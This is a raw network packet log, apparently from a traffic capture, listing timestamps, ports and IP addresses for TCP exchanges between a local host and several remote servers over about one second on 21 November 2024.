Nov 21, 2024 22:04:59.972625971 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.972965956 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.973113060 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.973417997 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.973879099 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.974037886 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.974085093 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.974741936 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.974867105 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.974911928 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.974956036 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.975629091 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.975780010 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.975847960 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.976013899 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.976527929 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.976592064 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.976778030 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.976826906 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:00.029367924 CET	443	49900	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:00.032258987 CET	443	49900	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:00.032509089 CET	49900	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:05:00.032548904 CET	49900	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:05:00.032553911 CET	443	49900	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:00.032562017 CET	49900	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:05:00.032566071 CET	443	49900	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:00.038176060 CET	49921	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:05:00.038219929 CET	443	49921	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:00.038497925 CET	49921	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:05:00.039354086 CET	49921	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:05:00.039374113 CET	443	49921	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:00.094033003 CET	443	49908	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:00.094523907 CET	49908	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:05:00.094551086 CET	443	49908	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:00.095139027 CET	49908	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:05:00.095144033 CET	443	49908	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:00.142118931 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:00.142136097 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:00.142191887 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:00.142232895 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:00.142352104 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:00.142400026 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:00.142421961 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:00.142482042 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:00.143249035 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:00.143271923 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:00.143302917 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:00.143349886 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:00.144227028 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:00.144238949 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:00.144285917 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:00.145929098 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:00.145941019 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:00.145979881 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:00.146012068 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:00.146363974 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:00.146424055 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:00.146488905 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:00.146539927 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:00.147233963 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:00.147366047 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:00.147766113 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:00.147824049 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:00.147949934 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:00.147993088 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:00.148399115 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:00.148442030 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:00.148442030 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:00.148479939 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:00.149276018 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:00.149331093 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:00.149435997 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:00.149503946 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:00.150160074 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:00.150239944 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:00.150593996 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:00.150644064 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:00.151052952 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:00.151129961 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:00.151618958 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:00.151725054 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:00.151976109 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:00.152108908 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:00.152188063 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:00.152826071 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:00.152887106 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:00.153059006 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:00.153096914 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:00.153703928 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:00.153836966 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:00.153842926 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:00.153877974 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:00.154613972 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:00.154628038 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:00.154655933 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:00.154681921 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:00.155559063 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:00.155571938 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:00.155628920 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:00.156368971 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:00.156418085 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:00.156543970 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:00.156599045 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:00.157244921 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:00.157258034 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:00.157286882 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:00.157318115 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:00.158199072 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:00.158237934 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:00.158801079 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:00.158850908 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:00.159014940 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:00.159065962 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:00.159517050 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:00.159559011 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:00.159889936 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:00.159950018 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:00.160018921 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:00.160060883 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:00.160767078 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:00.160859108 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:00.160978079 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:00.161026955 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:00.161638975 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:00.161684036 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:00.161711931 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:00.161881924 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:00.162565947 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:00.162611008 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:00.162650108 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:00.162691116 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:00.163424015 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:00.163471937 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:00.163575888 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:00.163618088 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:00.164314985 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:00.164541006 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:00.164594889 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:00.165252924 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:00.165307999 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:00.165621042 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:00.165673018 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:00.166081905 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:00.166132927 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:00.166135073 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:00.166182995 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:00.166963100 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:00.167025089 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:00.167303085 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:00.167346001 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:00.167994976 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:00.168037891 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:00.168164968 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:00.168210983 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:00.168762922 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:00.168824911 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:00.168870926 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:00.174647093 CET	443	49909	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:00.175287008 CET	49909	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:05:00.175317049 CET	443	49909	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:00.175894022 CET	49909	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:05:00.175898075 CET	443	49909	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:00.203067064 CET	443	49904	13.107.246.40	192.168.2.7
Nov 21, 2024 22:05:00.203095913 CET	443	49904	13.107.246.40	192.168.2.7
Nov 21, 2024 22:05:00.203150988 CET	49904	443	192.168.2.7	13.107.246.40
Nov 21, 2024 22:05:00.203155041 CET	443	49904	13.107.246.40	192.168.2.7
Nov 21, 2024 22:05:00.203211069 CET	49904	443	192.168.2.7	13.107.246.40
Nov 21, 2024 22:05:00.206604004 CET	443	49902	13.107.246.40	192.168.2.7
Nov 21, 2024 22:05:00.206624031 CET	443	49902	13.107.246.40	192.168.2.7
Nov 21, 2024 22:05:00.206680059 CET	49902	443	192.168.2.7	13.107.246.40
Nov 21, 2024 22:05:00.206696987 CET	443	49902	13.107.246.40	192.168.2.7
Nov 21, 2024 22:05:00.206798077 CET	443	49902	13.107.246.40	192.168.2.7
Nov 21, 2024 22:05:00.207079887 CET	49902	443	192.168.2.7	13.107.246.40
Nov 21, 2024 22:05:00.211334944 CET	49904	443	192.168.2.7	13.107.246.40
Nov 21, 2024 22:05:00.211354017 CET	443	49904	13.107.246.40	192.168.2.7
Nov 21, 2024 22:05:00.216519117 CET	49922	443	192.168.2.7	13.107.246.40
Nov 21, 2024 22:05:00.216546059 CET	443	49922	13.107.246.40	192.168.2.7
Nov 21, 2024 22:05:00.216681957 CET	49922	443	192.168.2.7	13.107.246.40
Nov 21, 2024 22:05:00.221776009 CET	49922	443	192.168.2.7	13.107.246.40
Nov 21, 2024 22:05:00.221790075 CET	443	49922	13.107.246.40	192.168.2.7
Nov 21, 2024 22:05:00.229068995 CET	443	49901	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:00.232213020 CET	443	49901	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:00.232264042 CET	443	49901	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:00.232273102 CET	49901	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:05:00.232310057 CET	49901	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:05:00.241533995 CET	49901	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:05:00.241549015 CET	443	49901	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:00.245959997 CET	49902	443	192.168.2.7	13.107.246.40
Nov 21, 2024 22:05:00.245981932 CET	443	49902	13.107.246.40	192.168.2.7
Nov 21, 2024 22:05:00.246511936 CET	49923	443	192.168.2.7	13.107.246.40
Nov 21, 2024 22:05:00.246541023 CET	443	49923	13.107.246.40	192.168.2.7
Nov 21, 2024 22:05:00.246608019 CET	49923	443	192.168.2.7	13.107.246.40
Nov 21, 2024 22:05:00.247231007 CET	49923	443	192.168.2.7	13.107.246.40
Nov 21, 2024 22:05:00.247240067 CET	443	49923	13.107.246.40	192.168.2.7
Nov 21, 2024 22:05:00.264138937 CET	49924	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:05:00.264174938 CET	443	49924	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:00.264246941 CET	49924	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:05:00.264703035 CET	49924	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:05:00.264714003 CET	443	49924	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:00.327399969 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:00.341530085 CET	443	49912	3.168.102.127	192.168.2.7
Nov 21, 2024 22:05:00.341831923 CET	49912	443	192.168.2.7	3.168.102.127
Nov 21, 2024 22:05:00.341864109 CET	443	49912	3.168.102.127	192.168.2.7
Nov 21, 2024 22:05:00.342948914 CET	443	49912	3.168.102.127	192.168.2.7
Nov 21, 2024 22:05:00.343008995 CET	49912	443	192.168.2.7	3.168.102.127
Nov 21, 2024 22:05:00.344043970 CET	49912	443	192.168.2.7	3.168.102.127
Nov 21, 2024 22:05:00.344122887 CET	443	49912	3.168.102.127	192.168.2.7
Nov 21, 2024 22:05:00.344254017 CET	49912	443	192.168.2.7	3.168.102.127
Nov 21, 2024 22:05:00.344263077 CET	443	49912	3.168.102.127	192.168.2.7
Nov 21, 2024 22:05:00.386275053 CET	49912	443	192.168.2.7	3.168.102.127
Nov 21, 2024 22:05:00.389839888 CET	443	49911	20.110.205.119	192.168.2.7
Nov 21, 2024 22:05:00.390213966 CET	49911	443	192.168.2.7	20.110.205.119
Nov 21, 2024 22:05:00.390232086 CET	443	49911	20.110.205.119	192.168.2.7
Nov 21, 2024 22:05:00.391294003 CET	443	49911	20.110.205.119	192.168.2.7
Nov 21, 2024 22:05:00.391426086 CET	49911	443	192.168.2.7	20.110.205.119
Nov 21, 2024 22:05:00.392649889 CET	49911	443	192.168.2.7	20.110.205.119
Nov 21, 2024 22:05:00.392663956 CET	49911	443	192.168.2.7	20.110.205.119
Nov 21, 2024 22:05:00.392669916 CET	443	49911	20.110.205.119	192.168.2.7
Nov 21, 2024 22:05:00.392704010 CET	443	49911	20.110.205.119	192.168.2.7
Nov 21, 2024 22:05:00.433048010 CET	49911	443	192.168.2.7	20.110.205.119
Nov 21, 2024 22:05:00.433058023 CET	443	49911	20.110.205.119	192.168.2.7
Nov 21, 2024 22:05:00.449646950 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:00.481283903 CET	49911	443	192.168.2.7	20.110.205.119
Nov 21, 2024 22:05:00.537086964 CET	443	49908	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:00.540712118 CET	443	49908	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:00.540776968 CET	49908	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:05:00.541073084 CET	49908	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:05:00.541089058 CET	443	49908	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:00.541101933 CET	49908	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:05:00.541107893 CET	443	49908	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:00.544156075 CET	49925	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:05:00.544195890 CET	443	49925	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:00.544446945 CET	49925	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:05:00.544609070 CET	49925	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:05:00.544619083 CET	443	49925	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:00.592519999 CET	443	49899	13.107.246.40	192.168.2.7
Nov 21, 2024 22:05:00.592582941 CET	443	49899	13.107.246.40	192.168.2.7
Nov 21, 2024 22:05:00.592755079 CET	49899	443	192.168.2.7	13.107.246.40
Nov 21, 2024 22:05:00.592782021 CET	443	49899	13.107.246.40	192.168.2.7
Nov 21, 2024 22:05:00.594007969 CET	49899	443	192.168.2.7	13.107.246.40
Nov 21, 2024 22:05:00.594084978 CET	443	49899	13.107.246.40	192.168.2.7
Nov 21, 2024 22:05:00.594151020 CET	49899	443	192.168.2.7	13.107.246.40
Nov 21, 2024 22:05:00.595909119 CET	443	49910	104.208.16.90	192.168.2.7
Nov 21, 2024 22:05:00.596196890 CET	49910	443	192.168.2.7	104.208.16.90
Nov 21, 2024 22:05:00.596211910 CET	443	49910	104.208.16.90	192.168.2.7
Nov 21, 2024 22:05:00.597410917 CET	443	49910	104.208.16.90	192.168.2.7
Nov 21, 2024 22:05:00.597465038 CET	49910	443	192.168.2.7	104.208.16.90
Nov 21, 2024 22:05:00.598618984 CET	49910	443	192.168.2.7	104.208.16.90
Nov 21, 2024 22:05:00.598685026 CET	443	49910	104.208.16.90	192.168.2.7
Nov 21, 2024 22:05:00.598870993 CET	49910	443	192.168.2.7	104.208.16.90
Nov 21, 2024 22:05:00.598937035 CET	49910	443	192.168.2.7	104.208.16.90
Nov 21, 2024 22:05:00.598952055 CET	443	49910	104.208.16.90	192.168.2.7
Nov 21, 2024 22:05:00.622095108 CET	443	49909	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:00.622236013 CET	443	49909	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:00.622294903 CET	443	49909	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:00.622299910 CET	49909	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:05:00.622348070 CET	49909	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:05:00.622428894 CET	49909	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:05:00.622448921 CET	443	49909	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:00.622462988 CET	49909	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:05:00.622467995 CET	443	49909	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:00.628649950 CET	49926	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:05:00.628695965 CET	443	49926	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:00.628865957 CET	49926	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:05:00.629009008 CET	49926	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:05:00.629020929 CET	443	49926	13.107.246.63	192.168.2.7
Nov 21, 2024 22:05:00.634394884 CET	443	49905	13.107.246.40	192.168.2.7
Nov 21, 2024 22:05:00.634412050 CET	443	49905	13.107.246.40	192.168.2.7
Nov 21, 2024 22:05:00.634460926 CET	49905	443	192.168.2.7	13.107.246.40
Nov 21, 2024 22:05:00.634473085 CET	443	49905	13.107.246.40	192.168.2.7
Nov 21, 2024 22:05:00.634484053 CET	443	49905	13.107.246.40	192.168.2.7
Nov 21, 2024 22:05:00.634530067 CET	49905	443	192.168.2.7	13.107.246.40
Nov 21, 2024 22:05:00.636027098 CET	49905	443	192.168.2.7	13.107.246.40
Nov 21, 2024 22:05:00.636034012 CET	443	49905	13.107.246.40	192.168.2.7
Nov 21, 2024 22:05:00.639197111 CET	49910	443	192.168.2.7	104.208.16.90
Nov 21, 2024 22:05:00.664648056 CET	443	49903	13.107.246.40	192.168.2.7
Nov 21, 2024 22:05:00.667797089 CET	443	49903	13.107.246.40	192.168.2.7
Nov 21, 2024 22:05:00.667860985 CET	49903	443	192.168.2.7	13.107.246.40
Nov 21, 2024 22:05:00.667870998 CET	443	49903	13.107.246.40	192.168.2.7
Nov 21, 2024 22:05:00.667884111 CET	443	49903	13.107.246.40	192.168.2.7
Nov 21, 2024 22:05:00.667943001 CET	49903	443	192.168.2.7	13.107.246.40
Nov 21, 2024 22:05:00.668131113 CET	49903	443	192.168.2.7	13.107.246.40
Nov 21, 2024 22:05:00.668145895 CET	443	49903	13.107.246.40	192.168.2.7
Nov 21, 2024 22:05:00.690715075 CET	443	49913	20.99.185.48	192.168.2.7
Nov 21, 2024 22:05:00.690958023 CET	49913	443	192.168.2.7	20.99.185.48
Nov 21, 2024 22:05:00.690968990 CET	443	49913	20.99.185.48	192.168.2.7
Nov 21, 2024 22:05:00.692081928 CET	443	49913	20.99.185.48	192.168.2.7
Nov 21, 2024 22:05:00.692200899 CET	49913	443	192.168.2.7	20.99.185.48
Nov 21, 2024 22:05:00.693416119 CET	49913	443	192.168.2.7	20.99.185.48
Nov 21, 2024 22:05:00.693461895 CET	49913	443	192.168.2.7	20.99.185.48
Nov 21, 2024 22:05:00.693466902 CET	443	49913	20.99.185.48	192.168.2.7
Nov 21, 2024 22:05:00.693479061 CET	443	49913	20.99.185.48	192.168.2.7
Nov 21, 2024 22:05:00.745899916 CET	49913	443	192.168.2.7	20.99.185.48
Nov 21, 2024 22:05:00.745929956 CET	443	49913	20.99.185.48	192.168.2.7
Nov 21, 2024 22:05:00.766752005 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:00.766802073 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:00.766891956 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:00.766926050 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:00.767175913 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:00.767234087 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:00.767345905 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:00.767426014 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:00.768038988 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:00.768084049 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:00.768083096 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:00.768116951 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:00.768915892 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:00.768959999 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:00.769047022 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:00.769083977 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:00.769783974 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:00.769829035 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:00.769994974 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:00.770035028 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:00.770678043 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:00.770690918 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:00.770730972 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:00.791428089 CET	49913	443	192.168.2.7	20.99.185.48
Nov 21, 2024 22:05:00.800555944 CET	443	49912	3.168.102.127	192.168.2.7
Nov 21, 2024 22:05:00.800632000 CET	443	49912	3.168.102.127	192.168.2.7
Nov 21, 2024 22:05:00.800673962 CET	49912	443	192.168.2.7	3.168.102.127
Nov 21, 2024 22:05:00.801582098 CET	49912	443	192.168.2.7	3.168.102.127
Nov 21, 2024 22:05:00.801598072 CET	443	49912	3.168.102.127	192.168.2.7
Nov 21, 2024 22:05:00.804167032 CET	49927	443	192.168.2.7	3.168.102.127
Nov 21, 2024 22:05:00.804219961 CET	443	49927	3.168.102.127	192.168.2.7
Nov 21, 2024 22:05:00.804308891 CET	49927	443	192.168.2.7	3.168.102.127
Nov 21, 2024 22:05:00.804580927 CET	49927	443	192.168.2.7	3.168.102.127
Nov 21, 2024 22:05:00.804600000 CET	443	49927	3.168.102.127	192.168.2.7
Nov 21, 2024 22:05:00.853050947 CET	443	49911	20.110.205.119	192.168.2.7
Nov 21, 2024 22:05:00.853230000 CET	443	49911	20.110.205.119	192.168.2.7
Nov 21, 2024 22:05:00.854244947 CET	49911	443	192.168.2.7	20.110.205.119
Nov 21, 2024 22:05:00.856004000 CET	49911	443	192.168.2.7	20.110.205.119
Nov 21, 2024 22:05:00.856024981 CET	443	49911	20.110.205.119	192.168.2.7
Nov 21, 2024 22:05:00.887371063 CET	443	49907	20.190.177.23	192.168.2.7
Nov 21, 2024 22:05:00.887392998 CET	443	49907	20.190.177.23	192.168.2.7
Nov 21, 2024 22:05:00.887425900 CET	443	49907	20.190.177.23	192.168.2.7
Nov 21, 2024 22:05:00.887460947 CET	49907	443	192.168.2.7	20.190.177.23
Nov 21, 2024 22:05:00.887469053 CET	443	49907	20.190.177.23	192.168.2.7
Nov 21, 2024 22:05:00.887499094 CET	49907	443	192.168.2.7	20.190.177.23
Nov 21, 2024 22:05:00.887516975 CET	49907	443	192.168.2.7	20.190.177.23
